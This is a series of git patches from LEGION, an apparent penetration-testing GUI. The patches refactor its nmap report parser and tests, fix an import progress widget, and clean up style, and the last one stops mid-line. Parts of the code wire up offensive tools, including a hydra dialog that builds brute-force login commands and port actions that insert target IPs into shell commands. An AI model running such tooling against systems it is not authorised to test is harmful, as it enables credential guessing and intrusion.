b/tests/db/repositories/test_NoteRepository.py @@ -23,8 +23,7 @@ class NoteRepositoryTest(unittest.TestCase): - @patch('utilities.stenoLogging.get_logger') - def setUp(self, get_logger) -> None: + def setUp(self) -> None: from db.entities.note import note self.mockDbAdapter = MagicMock() self.mockDbSession = MagicMock() diff --git a/tests/db/repositories/test_PortRepository.py b/tests/db/repositories/test_PortRepository.py index 66aed2f4..89129b83 100644 --- a/tests/db/repositories/test_PortRepository.py +++ b/tests/db/repositories/test_PortRepository.py @@ -19,13 +19,11 @@ from unittest import mock from unittest.mock import patch, MagicMock -from tests.db.helpers.db_helpers import mockFirstByReturnValue, mockExecuteFetchAll, mockExecuteAll, \ - mockQueryWithFilterBy +from tests.db.helpers.db_helpers import mockFirstByReturnValue, mockExecuteFetchAll class PortRepositoryTest(unittest.TestCase): - @patch('utilities.stenoLogging.get_logger') - def setUp(self, get_logger) -> None: + def setUp(self) -> None: from db.repositories.PortRepository import PortRepository self.mockDbAdapter = MagicMock() self.mockDbSession = MagicMock() diff --git a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py index df2f3ef7..0ae77654 100644 --- a/tests/db/repositories/test_ProcessRepository.py +++ b/tests/db/repositories/test_ProcessRepository.py @@ -31,8 +31,7 @@ def build_mock_process(status: str, display: str) -> MagicMock: class ProcessRepositoryTest(unittest.TestCase): - @patch('utilities.stenoLogging.get_logger') - def setUp(self, get_logger) -> None: + def setUp(self) -> None: from db.repositories.ProcessRepository import ProcessRepository self.mockProcess = MagicMock() self.mockDbSession = MagicMock() diff --git a/tests/db/repositories/test_ServiceRepository.py b/tests/db/repositories/test_ServiceRepository.py index a97ae2f1..1739b5e0 100644 --- a/tests/db/repositories/test_ServiceRepository.py +++ b/tests/db/repositories/test_ServiceRepository.py @@ -22,8 +22,7 @@ class ServiceRepositoryTest(unittest.TestCase): - @patch('utilities.stenoLogging.get_logger') - def setUp(self, get_logger) -> None: + def setUp(self) -> None: from db.repositories.ServiceRepository import ServiceRepository self.mockDbAdapter = MagicMock() self.repository = ServiceRepository(self.mockDbAdapter) diff --git a/ui/gui.py b/ui/gui.py index 060e0b50..fc3aa1aa 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -18,7 +18,6 @@ from PyQt5 import QtWidgets, QtGui, QtCore from PyQt5.QtGui import QColor -from app.logging.legionLog import log from ui.dialogs import * # for the screenshots (image viewer) from ui.ancillaryDialog import * from utilities.qtLogging import * diff --git a/ui/settingsDialog.py b/ui/settingsDialog.py index 57083d98..9e24d490 100644 --- a/ui/settingsDialog.py +++ b/ui/settingsDialog.py @@ -24,6 +24,7 @@ from app.auxiliary import * # for timestamps from app.shell.Shell import Shell +log = getAppLogger() # used to validate user input on focusOut - more specifically only called to validate tool name in host/port/terminal # commands tabs From fe0c79579daa857f463d660728a1402d13333dcc Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 15 Apr 2020 16:43:43 -0400 Subject: [PATCH 376/450] Fix progress widget hang on failed nmap report imports - The progress widget created in the controller is now replaced by a single progress widget from the view which is passed down to the update progress observable, which then emits signals back to the UI on progress change events. - When there is an exception in importing an nmap report, the progress widget gracefully hides from view, whereas before it would linger on failure. --- app/importers/NmapImporter.py | 6 ++++-- controller/controller.py | 14 +++++++------- ui/view.py | 5 ----- 3 files changed, 11 insertions(+), 14 deletions(-) diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 21ed58fe..97852251 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -72,6 +72,7 @@ def run(self): except: self.tsLog('Giving up on import due to previous errors.') self.tsLog("Unexpected error: {0}".format(sys.exc_info()[0])) + self.updateProgressObservable.finished() self.done.emit() return @@ -320,8 +321,8 @@ def run(self): session.commit() self.db.dbsemaphore.release() # we are done with the DB self.tsLog(f"Finished in {str(time() - startTime)} seconds.") - self.done.emit() self.updateProgressObservable.finished() + self.done.emit() # call the scheduler (if there is no terminal output it means we imported nmap) self.schedule.emit(parser, self.output == '') @@ -330,5 +331,6 @@ def run(self): self.tsLog('Something went wrong when parsing the nmap file..') self.tsLog("Unexpected error: {0}".format(sys.exc_info()[0])) self.tsLog(e) - raise + self.updateProgressObservable.finished() self.done.emit() + raise diff --git a/controller/controller.py b/controller/controller.py index 82b42bc4..0828ee53 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -48,7 +48,11 @@ def __init__(self, view, logic): self.view.startConnections() self.loadSettings() # creation of context menu actions from settings file and set up of various settings - self.initNmapImporter() + updateProgressObservable = UpdateProgressObservable() + updateProgressObserver = QtUpdateProgressObserver(self.view.importProgressWidget) + updateProgressObservable.attach(updateProgressObserver) + + self.initNmapImporter(updateProgressObservable) self.initPythonImporter() self.initScreenshooter() self.initBrowserOpener() @@ -71,11 +75,7 @@ def start(self, title='*untitled'): self.updateOutputFolder() # tell screenshooter where the output folder is self.view.start(title) - def initNmapImporter(self): - updateProgressObservable = UpdateProgressObservable() - updateProgressObserver = QtUpdateProgressObserver(ProgressWidget('Importing nmap..')) - updateProgressObservable.attach(updateProgressObserver) - + def initNmapImporter(self, updateProgressObservable: UpdateProgressObservable): self.nmapImporter = NmapImporter(updateProgressObservable, self.logic.activeProject.repositoryContainer.hostRepository) self.nmapImporter.done.connect(self.importFinished) @@ -417,7 +417,7 @@ def handleServiceNameAction(self, targets, actions, action, restoring=True): outputfile = self.logic.activeProject.properties.runningFolder + "/" + \ re.sub("[^0-9a-zA-Z]", "", str(tool)) + \ "/" + getTimestamp() + '-' + tool + "-" + ip[0] + "-" + ip[1] - + command = str(self.settings.portActions[srvc_num][2]) command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]).replace('[OUTPUT]', outputfile) diff --git a/ui/view.py b/ui/view.py index c4c6569f..c85d6645 100644 --- a/ui/view.py +++ b/ui/view.py @@ -491,14 +491,9 @@ def importNmap(self): "Ok") return - self.importProgressWidget.reset('Importing nmap..') - self.importProgressWidget.setProgress(5) - self.importProgressWidget.show() self.controller.nmapImporter.setFilename(str(filename)) self.controller.nmapImporter.start() self.controller.copyNmapXMLToOutputFolder(str(filename)) - self.importProgressWidget.show() - else: log.info('No file chosen..') From adb8cf816581dcf4de80440b801954922756eaf9 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Thu, 16 Apr 2020 08:39:29 -0400 Subject: [PATCH 377/450] Add test coverage to nmap xml parsing logic - In effort to make the nmap importer and parser be more stable and react gracefully to malformed xml reports, I've added a test suite for the parser to create a specification of how the parser reacts on well-formed and mal-formed xml nmap reports. --- app/importers/NmapImporter.py | 17 +-- parsers/Parser.py | 97 ++++++++------- parsers/Port.py | 38 +++--- parsers/Service.py | 10 +- parsers/examples/ParserExample.py | 4 +- tests/parsers/__init__.py | 0 .../nmap-fixtures/malformed-nmap-report.xml | 39 ++++++ .../nmap-fixtures/valid-nmap-report.xml | 53 +++++++++ tests/parsers/test_Parser.py | 111 ++++++++++++++++++ 9 files changed, 287 insertions(+), 82 deletions(-) create mode 100644 tests/parsers/__init__.py create mode 100644 tests/parsers/nmap-fixtures/malformed-nmap-report.xml create mode 100644 tests/parsers/nmap-fixtures/valid-nmap-report.xml create mode 100644 tests/parsers/test_Parser.py diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 97852251..0b572f3e 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -20,6 +20,7 @@ from PyQt5 import QtCore from app.actions.updateProgress import AbstractUpdateProgressObservable +from app.logging.legionLog import getAppLogger from db.entities.host import hostObj from db.entities.l1script import l1ScriptObj from db.entities.nmapSession import nmapSessionObj @@ -28,9 +29,10 @@ from db.entities.port import portObj from db.entities.service import serviceObj from db.repositories.HostRepository import HostRepository -from parsers.Parser import Parser +from parsers.Parser import parseNmapReport, MalformedXmlDocumentException from time import time +appLog = getAppLogger() class NmapImporter(QtCore.QThread): tick = QtCore.pyqtSignal(int, name="changed") # New style signal @@ -68,22 +70,23 @@ def run(self): startTime = time() try: - parser = Parser(self.filename) - except: + nmapReport = parseNmapReport(self.filename) + except MalformedXmlDocumentException as e: self.tsLog('Giving up on import due to previous errors.') - self.tsLog("Unexpected error: {0}".format(sys.exc_info()[0])) + appLog.error(f"nmap xml report is likely malformed: {e}") self.updateProgressObservable.finished() self.done.emit() return + self.tsLog('nmap xml report read successfully!') self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB - s = parser.getSession() # nmap session info + s = nmapReport.getSession() # nmap session info if s: n = nmapSessionObj(self.filename, s.startTime, s.finish_time, s.nmapVersion, s.scanArgs, s.totalHosts, s.upHosts, s.downHosts) session.add(n) - allHosts = parser.getAllHosts() + allHosts = nmapReport.getAllHosts() hostCount = len(allHosts) if hostCount == 0: # to fix a division by zero if we ran nmap on one host hostCount = 1 @@ -325,7 +328,7 @@ def run(self): self.done.emit() # call the scheduler (if there is no terminal output it means we imported nmap) - self.schedule.emit(parser, self.output == '') + self.schedule.emit(nmapReport, self.output == '') except Exception as e: self.tsLog('Something went wrong when parsing the nmap file..') diff --git a/parsers/Parser.py b/parsers/Parser.py index 7d03e497..70efc908 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -2,37 +2,35 @@ '''this module used to parse nmap xml report''' -__author__ = 'yunshu(wustyunshu@hotmail.com)' -__version__= '0.2' +__author__ = 'yunshu(wustyunshu@hotmail.com)' +__version__ = '0.2' -from app.logging.legionLog import getAppLogger +from typing import Optional +from xml.dom.minidom import parse, Document __modified_by = 'ketchup' __modified_by = 'SECFORCE' import parsers.Session as Session import parsers.Host as Host -import xml.dom.minidom -log = getAppLogger() -class Parser: +class MalformedXmlDocumentException(BaseException): + pass + +class Parser: '''Parser class, parse a xml format nmap report''' - def __init__( self, xml_input): - '''constructor function, need a xml file name as the argument''' - try: - self.__dom = xml.dom.minidom.parse(xml_input) - self.__session = None - self.__hosts = { } - for hostNode in self.__dom.getElementsByTagName('host'): - __host = Host.Host(hostNode) - self.__hosts[__host.ip] = __host - except Exception: - log.info("Parser error! Invalid nmap file!") - raise - - def getSession( self ): + + def __init__(self, dom: Document): + self.__dom = dom + self.__session = None + self.__hosts = {} + for hostNode in self.__dom.getElementsByTagName('host'): + __host = Host.Host(hostNode) + self.__hosts[__host.ip] = __host + + def getSession(self): '''get this scans information, return a Session object''' run_node = self.__dom.getElementsByTagName('nmaprun')[0] hosts_node = self.__dom.getElementsByTagName('hosts')[0] @@ -40,62 +38,63 @@ def getSession( self ): finish_time = self.__dom.getElementsByTagName('finished')[0].getAttribute('timestr') nmapVersion = run_node.getAttribute('version') - startTime = run_node.getAttribute('startstr') + startTime = run_node.getAttribute('startstr') scanArgs = run_node.getAttribute('args') totalHosts = hosts_node.getAttribute('total') upHosts = hosts_node.getAttribute('up') downHosts = hosts_node.getAttribute('down') - MySession = { 'finish_time': finish_time, - 'nmapVersion' : nmapVersion, - 'scanArgs' : scanArgs, - 'startTime' : startTime, - 'totalHosts' : totalHosts, - 'upHosts' : upHosts, - 'downHosts' : downHosts } + MySession = {'finish_time': finish_time, + 'nmapVersion': nmapVersion, + 'scanArgs': scanArgs, + 'startTime': startTime, + 'totalHosts': totalHosts, + 'upHosts': upHosts, + 'downHosts': downHosts} - self.__session = Session.Session( MySession ) + self.__session = Session.Session(MySession) return self.__session - def getHost( self, ipaddr ): - + def getHost(self, ipaddr: str) -> Optional[Host.Host]: '''get a Host object by ip address''' - return self.__hosts.get(ipaddr) - def getAllHosts( self, status = '' ): - + def getAllHosts(self, status=''): '''get a list of Host object''' - - if( status == '' ): - return self.__hosts.values( ) + if (status == ''): + return self.__hosts.values() else: - __tmp_hosts = [ ] + __tmp_hosts = [] - for __host in self.__hosts.values( ): + for __host in self.__hosts.values(): if __host.status == status: - __tmp_hosts.append( __host ) + __tmp_hosts.append(__host) return __tmp_hosts - def getAllIps( self, status = '' ): - + def getAllIps(self, status=None): '''get a list of ip address''' - __tmp_ips = [ ] + __tmp_ips = [] - if( status == '' ): - for __host in self.__hosts.values( ): - - __tmp_ips.append( __host.ip ) + if status is None: + for __host in self.__hosts.values(): + __tmp_ips.append(__host.ip) else: - for __host in self.__hosts.values( ): + for __host in self.__hosts.values(): if __host.status == status: - __tmp_ips.append( __host.ip ) + __tmp_ips.append(__host.ip) return __tmp_ips + + +def parseNmapReport(nmapXmlReportFileName: str) -> Parser: + try: + return Parser(parse(nmapXmlReportFileName)) + except Exception as e: + raise MalformedXmlDocumentException(e) diff --git a/parsers/Port.py b/parsers/Port.py index 403b1d15..40fd857f 100644 --- a/parsers/Port.py +++ b/parsers/Port.py @@ -1,15 +1,18 @@ #!/usr/bin/python -__author__ = 'SECFORCE' -__version__= '0.1' +__author__ = 'SECFORCE' +__version__ = '0.1' + +from typing import Optional import parsers.Service as Service import parsers.Script as Script + class Port: - portId = '' - protocol= '' - state='' + portId: str = '' + protocol: str = '' + state: str = '' def __init__(self, PortNode): if not (PortNode is None): @@ -18,30 +21,27 @@ def __init__(self, PortNode): self.protocol = PortNode.getAttribute('protocol') self.state = PortNode.getElementsByTagName('state')[0].getAttribute('state') - def getService(self): - + def getService(self) -> Optional[Service.Service]: service_node = self.portNode.getElementsByTagName('service') - + if len(service_node) > 0: - return Service.Service(service_node[0]) + return Service.Service(service_node[0]) return None - # def get_cpe(self): + # def get_cpe(self): - # cpes = [] - # cpe = self.portNode.getElementsByTagName('cpe') - # print(cpe) + # cpes = [] + # cpe = self.portNode.getElementsByTagName('cpe') + # print(cpe) - # if len(cpe) > 0: - # return CPE.CPE(cpe[0]) + # if len(cpe) > 0: + # return CPE.CPE(cpe[0]) - # return None + # return None def getScripts(self): - - scripts = [ ] - + scripts = [] for scriptNode in self.portNode.getElementsByTagName('script'): scr = Script.Script(scriptNode) scripts.append(scr) diff --git a/parsers/Service.py b/parsers/Service.py index 1ebd206f..8dff137b 100644 --- a/parsers/Service.py +++ b/parsers/Service.py @@ -6,11 +6,11 @@ class Service: - extrainfo = '' - name = '' - product = '' - fingerprint = '' - version = '' + extrainfo: str = '' + name: str = '' + product: str = '' + fingerprint: str = '' + version: str = '' def __init__(self, ServiceNode): self.extrainfo = ServiceNode.getAttribute('extrainfo') diff --git a/parsers/examples/ParserExample.py b/parsers/examples/ParserExample.py index fbe57889..dd1ee5d7 100644 --- a/parsers/examples/ParserExample.py +++ b/parsers/examples/ParserExample.py @@ -15,10 +15,10 @@ """ from app.auxiliary import log -from parsers.Parser import Parser +from parsers.Parser import parseNmapReport if __name__ == '__main__': - parser = Parser('a-full.xml') + parser = parseNmapReport('a-full.xml') log.info('\nscan session:') session = parser.getSession() diff --git a/tests/parsers/__init__.py b/tests/parsers/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/parsers/nmap-fixtures/malformed-nmap-report.xml b/tests/parsers/nmap-fixtures/malformed-nmap-report.xml new file mode 100644 index 00000000..fe3d655e --- /dev/null +++ b/tests/parsers/nmap-fixtures/malformed-nmap-report.xml @@ -0,0 +1,39 @@ + + + +<> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tests/parsers/nmap-fixtures/valid-nmap-report.xml b/tests/parsers/nmap-fixtures/valid-nmap-report.xml new file mode 100644 index 00000000..17bae094 --- /dev/null +++ b/tests/parsers/nmap-fixtures/valid-nmap-report.xml @@ -0,0 +1,53 @@ + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tests/parsers/test_Parser.py b/tests/parsers/test_Parser.py new file mode 100644 index 00000000..ce63642c --- /dev/null +++ b/tests/parsers/test_Parser.py @@ -0,0 +1,111 @@ +""" +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from os.path import dirname, join +from typing import Optional + +from parsers.Host import Host +from parsers.OS import OS +from parsers.Parser import Parser, parseNmapReport, MalformedXmlDocumentException +from parsers.Port import Port +from parsers.Session import Session + + +def givenAnXmlFile(xmlFile: str) -> Parser: + return parseNmapReport(join(dirname(__file__), xmlFile)) + + +class ParserTest(unittest.TestCase): + def test_parseNmapReport_givenAValidXml_ReturnsAValidParser(self): + self.assertIsNotNone(givenAnXmlFile("nmap-fixtures/valid-nmap-report.xml")) + + def test_parseNmapReport_givenAnInvalidXml_RaisesException(self): + with self.assertRaises(MalformedXmlDocumentException): + givenAnXmlFile("nmap-fixtures/malformed-nmap-report.xml") + + def test_parser_givenValidXmlWithHosts_ReturnsServicesParsed(self): + parser = givenAnXmlFile("nmap-fixtures/valid-nmap-report.xml") + hosts = list(parser.getAllHosts()) + self.assertEqual(1, len(hosts)) + + allPorts: [Port] = hosts[0].all_ports() + allServiceNames: [str] = list(map(lambda port: port.getService().name, allPorts)) + allServiceVersions: [str] = list(map(lambda port: port.getService().version, allPorts)) + allServiceFingerprints: [str] = list(map(lambda port: port.getService().fingerprint, allPorts)) + allServiceProducts: [str] = list(map(lambda port: port.getService().product, allPorts)) + allServiceExtraInfos: [str] = list(map(lambda port: port.getService().extrainfo, allPorts)) + self.assertEqual(['domain', 'http', 'netbios-ssn', 'https', 'msft'], allServiceNames) + self.assertEqual(['0.0', '0.0', '0.0', '1.0', '0.0'], allServiceVersions) + self.assertEqual(['p1', 'p2', 'p3', 'p4', 'p5'], allServiceFingerprints) + self.assertEqual(['table', 'table', 'table', 'table', 'table'], allServiceProducts) + self.assertEqual(['exinfo', 'exinfo', 'exinfo', 'exinfo', 'exinfo'], allServiceExtraInfos) + + def test_parser_givenAValidXmlWithIpAddresses_ReturnsAllIpAddresses(self): + parser = givenAnXmlFile("nmap-fixtures/valid-nmap-report.xml") + self.assertEqual(['192.168.1.1'], parser.getAllIps()) + + def test_parser_givenAValidXmlWithIpAddressesAndFilterByStatus_ReturnsAllIpAddresses(self): + parser = givenAnXmlFile("nmap-fixtures/valid-nmap-report.xml") + self.assertEqual(['192.168.1.1'], parser.getAllIps('up')) + + def test_parser_givenAValidXmlWithIpAddressesAndFilterByStatusWithNoResults_ReturnsAnEmptyList(self): + parser = givenAnXmlFile("nmap-fixtures/valid-nmap-report.xml") + self.assertEqual([], parser.getAllIps('down')) + + def test_parser_givenAValidXmlWithHosts_ReturnsHostByIpAddress(self): + parser = givenAnXmlFile("nmap-fixtures/valid-nmap-report.xml") + host: Optional[Host.Host] = parser.getHost("192.168.1.1") + self.assertIsNotNone(host) + + self.assertEqual("192.168.1.1", host.ip) + self.assertEqual("192.168.1.1", host.ipv4) + self.assertEqual("up", host.status) + self.assertEqual("coolhost", host.hostname) + self.assertEqual("closed", host.state) + + ports: [Port.Port] = host.all_ports() + allPortIds: [str] = list(map(lambda port: port.portId, ports)) + allPortProtocols: [str] = list(map(lambda port: port.protocol, ports)) + allPortStates: [str] = list(map(lambda port: port.state, ports)) + self.assertEqual(['53', '80', '139', '443', '445'], allPortIds) + self.assertEqual(['tcp', 'tcp', 'tcp', 'tcp', 'tcp'], allPortProtocols) + self.assertEqual(['open', 'open', 'open', 'open', 'open'], allPortStates) + + self.assertEqual(1, len(host.getOs())) + operatingSystem: OS = host.getOs()[0] + self.assertEqual("macos", operatingSystem.name) + self.assertEqual("darwin", operatingSystem.family) + self.assertEqual("x64", operatingSystem.osType) + self.assertEqual("5", operatingSystem.generation) + self.assertEqual("apple", operatingSystem.vendor) + self.assertEqual("98%", operatingSystem.accuracy) + + def test_parser_givenAValidXmlButInvalidHostIp_ReturnsNone(self): + parser = givenAnXmlFile("nmap-fixtures/valid-nmap-report.xml") + self.assertIsNone(parser.getHost("192.168.1.2")) + + def test_parser_givenAValidXml_ReturnsSessionInfo(self): + parser = givenAnXmlFile("nmap-fixtures/valid-nmap-report.xml") + session: Session.Session = parser.getSession() + self.assertEqual("Wed Apr 15 20:34:59 2020", session.finish_time) + self.assertEqual("7.80", session.nmapVersion) + self.assertEqual("nmap -oX output.xml --stylesheet nmap.xsl -vv -p1-1024 -sT 192.168.1.1", session.scanArgs) + self.assertEqual("Wed Apr 15 20:34:59 2020", session.startTime) + self.assertEqual("1", session.totalHosts) + self.assertEqual("1", session.upHosts) + self.assertEqual("0", session.downHosts) From 9541693e545dd4bc85b41137e5133cf2a82d3b3c Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Fri, 17 Apr 2020 12:07:07 -0400 Subject: [PATCH 378/450] Add flake8 rules - F811 - no redefinitions of unused names - F823 - no references of local vars before assignment - E502 - no redundant backslashes between brackets - E703 - no statements shall end with a semicolon - E704 - no multiple statements on one line - E713 - test membership should be 'not in' - E741 - no single letter variable names like o or i - E742 - no classes with single letter names like o or i - E743 - no single letter functions names like o or i - W291 - no trailing whitespace - W601 - use instead of construct (which is deprecated) - W602 - no use of deprecated exception raising --- .flake8 | 2 +- app/auxiliary.py | 2 +- app/settings.py | 6 +-- controller/controller.py | 4 +- parsers/Script.py | 2 +- ui/addHostDialog.py | 2 +- ui/ancillaryDialog.py | 2 +- ui/dialogs.py | 44 +++++++++--------- ui/gui.py | 35 +++++++-------- ui/models/hostmodels.py | 4 +- ui/models/processmodels.py | 6 +-- ui/models/scriptmodels.py | 8 ++-- ui/models/servicemodels.py | 8 ++-- ui/settingsDialog.py | 92 +++++++++++++++++++------------------- ui/view.py | 82 ++++++++++++++++----------------- utilities/qtLogging.py | 10 ++--- 16 files changed, 152 insertions(+), 157 deletions(-) diff --git a/.flake8 b/.flake8 index 03146446..85d014d1 100644 --- a/.flake8 +++ b/.flake8 @@ -1,4 +1,4 @@ [flake8] -select=E501,F841 +select=E501,F811,F823,F831,F841,E502,E703,E704,E713,E741,E742,E743,W291,W601,W602 exclude=.git,.idea,tmp,backup,log,images,venv max-line-length: 120 \ No newline at end of file diff --git a/app/auxiliary.py b/app/auxiliary.py index cf63db68..9f0f80ee 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -117,7 +117,7 @@ def __init__(self, filename): # needs full path def setFilename(self, filename): self.filename = filename - # adds a word to the wordlist (without duplicates) + # adds a word to the wordlist (without duplicates) def add(self, word): with open(self.filename, 'a') as f: if not word + '\n' in self.wordlist: diff --git a/app/settings.py b/app/settings.py index f62c5921..01dacaed 100644 --- a/app/settings.py +++ b/app/settings.py @@ -62,7 +62,7 @@ def getHostActions(self): sortArrayWithArray(sortArray, hostactions) # sort by label so that it appears nicely in the context menu return hostactions - # this function fetches all the host actions from the settings file + # this function fetches all the host actions from the settings file def getPortActions(self): self.actions.beginGroup('PortActions') portactions = [] @@ -75,7 +75,7 @@ def getPortActions(self): sortArrayWithArray(sortArray, portactions) # sort by label so that it appears nicely in the context menu return portactions - # this function fetches all the port actions from the settings file + # this function fetches all the port actions from the settings file def getPortTerminalActions(self): self.actions.beginGroup('PortTerminalActions') portactions = [] @@ -88,7 +88,7 @@ def getPortTerminalActions(self): sortArrayWithArray(sortArray, portactions) # sort by label so that it appears nicely in the context menu return portactions - # this function fetches all the port actions that will be run as terminal commands from the settings file + # this function fetches all the port actions that will be run as terminal commands from the settings file def getSchedulerSettings(self): settings = [] self.actions.beginGroup('SchedulerSettings') diff --git a/controller/controller.py b/controller/controller.py index 0828ee53..5799fc0b 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -569,7 +569,7 @@ def getNoteFromDB(self, hostid): def getHostsForTool(self, toolName, closed='False'): return self.logic.activeProject.repositoryContainer.processRepository.getHostsByToolName(toolName, closed) - #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### + #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### def getProcessesFromDB(self, filters, showProcesses='noNmap', sort='desc', ncol='id'): return self.logic.activeProject.repositoryContainer.processRepository.getProcesses(filters, showProcesses, sort, @@ -592,7 +592,7 @@ def checkProcessQueue(self): next_proc.display.clear() self.processes.append(next_proc) self.fastProcessesRunning += 1 - # Add Timeout + # Add Timeout next_proc.waitForFinished(10) next_proc.start(next_proc.command) self.logic.activeProject.repositoryContainer.processRepository.storeProcessRunningStatus( diff --git a/parsers/Script.py b/parsers/Script.py index c1c4b0c6..18ba772f 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -86,7 +86,7 @@ def processVulnersScriptOutput(self, vulnersOutput): resultsDict[resultCpeData[3]] = resultCpeDetails count = count + 1 - return resultsDict + return resultsDict def getCves(self): cveOutput = self.output diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index f54130d6..a3b7b3c9 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -53,7 +53,7 @@ def setupLayout(self): self.hlayout = QtWidgets.QHBoxLayout() self.hlayout.addWidget(self.lblHost) - self.hlayout.addWidget(self.txtHostList) + self.hlayout.addWidget(self.txtHostList) self.lblHostExample = QtWidgets.QLabel(self) self.lblHostExample.setText('Ex: 192.168.1.0/24; 10.10.10.10-20; 1.2.3.4; bing.com') diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py index f276dd6e..90059c20 100644 --- a/ui/ancillaryDialog.py +++ b/ui/ancillaryDialog.py @@ -87,7 +87,7 @@ def open(self, fileName): return self.imageLabel.setPixmap(QtGui.QPixmap.fromImage(image)) - self.scaleFactor = 1.0 + self.scaleFactor = 1.0 self.fitToWindow() def zoomIn(self): diff --git a/ui/dialogs.py b/ui/dialogs.py index 76d917f9..310f57f6 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -47,10 +47,10 @@ def __init__(self, ip, port, service, settings, parent=None): self.passwordsTextinput.textEdited.connect(self.singlePassRadio.toggle) self.userlistTextinput.textEdited.connect(self.userListRadio.toggle) self.passlistTextinput.textEdited.connect(self.passListRadio.toggle) - self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) + self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) def setupLayoutHlayout(self): - hydraServiceConversion = {'login':'rlogin', 'ms-sql-s':'mssql', 'ms-wbt-server':'rdp', 'netbios-ssn':'smb', \ + hydraServiceConversion = {'login':'rlogin', 'ms-sql-s':'mssql', 'ms-wbt-server':'rdp', 'netbios-ssn':'smb', 'netbios-ns':'smb', 'microsoft-ds':'smb', 'postgresql':'postgres', 'vmware-auth':'vmauthd"'} # sometimes nmap service name is different from hydra service name if self.service is None: @@ -80,7 +80,7 @@ def setupLayoutHlayout(self): self.label3.setAlignment(Qt.AlignVCenter) self.serviceComboBox = QtWidgets.QComboBox() self.serviceComboBox.insertItems(0, self.settings.brute_services.split(",")) - self.serviceComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.serviceComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }") self.serviceComboBox.currentIndexChanged.connect(self.checkSelectedService) # autoselect service from combo box @@ -107,7 +107,7 @@ def setupLayoutHlayout(self): self.hlayout.addWidget(self.label1) self.hlayout.addWidget(self.ipTextinput) self.hlayout.addWidget(self.label2) - self.hlayout.addWidget(self.portTextinput) + self.hlayout.addWidget(self.portTextinput) self.hlayout.addWidget(self.label3) self.hlayout.addWidget(self.serviceComboBox) self.hlayout.addWidget(self.runButton) @@ -139,7 +139,7 @@ def setupLayoutHlayout2(self): self.foundUsersRadio = QtWidgets.QRadioButton() self.label9 = QtWidgets.QLabel() self.label9.setText('Found usernames') - self.label9.setFixedWidth(117) + self.label9.setFixedWidth(117) self.userGroup = QtWidgets.QButtonGroup() self.userGroup.addButton(self.singleUserRadio) @@ -178,7 +178,7 @@ def checkSelectedService(self): #else: This clause would produce an interesting logic error and crash #self.warningLabel.hide() - def setupLayoutHlayout3(self): + def setupLayoutHlayout3(self): #add usernames wordlist self.singlePassRadio = QtWidgets.QRadioButton() self.label6 = QtWidgets.QLabel() @@ -199,7 +199,7 @@ def setupLayoutHlayout3(self): self.foundPasswordsRadio = QtWidgets.QRadioButton() self.label10 = QtWidgets.QLabel() self.label10.setText('Found passwords') - self.label10.setFixedWidth(115) + self.label10.setFixedWidth(115) self.passGroup = QtWidgets.QButtonGroup() self.passGroup.addButton(self.singlePassRadio) @@ -217,8 +217,8 @@ def setupLayoutHlayout3(self): self.threadsComboBox.insertItems(0, self.threadOptions) self.threadsComboBox.setMinimumContentsLength(3) self.threadsComboBox.setMaxVisibleItems(3) - self.threadsComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); - self.threadsComboBox.setCurrentIndex(15) + self.threadsComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }") + self.threadsComboBox.setCurrentIndex(15) self.hlayout3 = QtWidgets.QHBoxLayout() self.hlayout3.addWidget(self.singlePassRadio) @@ -259,7 +259,7 @@ def setupLayoutHlayout4(self): self.checkExitOnValid.toggle() #add 'exit after first valid combination is found' self.checkVerbose = QtWidgets.QCheckBox() - self.checkVerbose.setText('Verbose') + self.checkVerbose.setText('Verbose') self.checkAddMoreOptions = QtWidgets.QCheckBox() self.checkAddMoreOptions.setText('Additional Options') @@ -310,7 +310,7 @@ def __drawPalette(self): # TODO: need to check all the methods that need an additional input field and add them here # def showMoreOptions(self, text): -# if str(text) == "http-head": +# if str(text) == "http-head": # self.labelPath.show() # else: # self.labelPath.hide() @@ -345,7 +345,7 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): if 'form' not in str(self.service): self.warningLabel.hide() - if not self.service in self.settings.brute_no_username_services.split(","): + if self.service not in self.settings.brute_no_username_services.split(","): if self.singleUserRadio.isChecked(): self.command += " -l " + 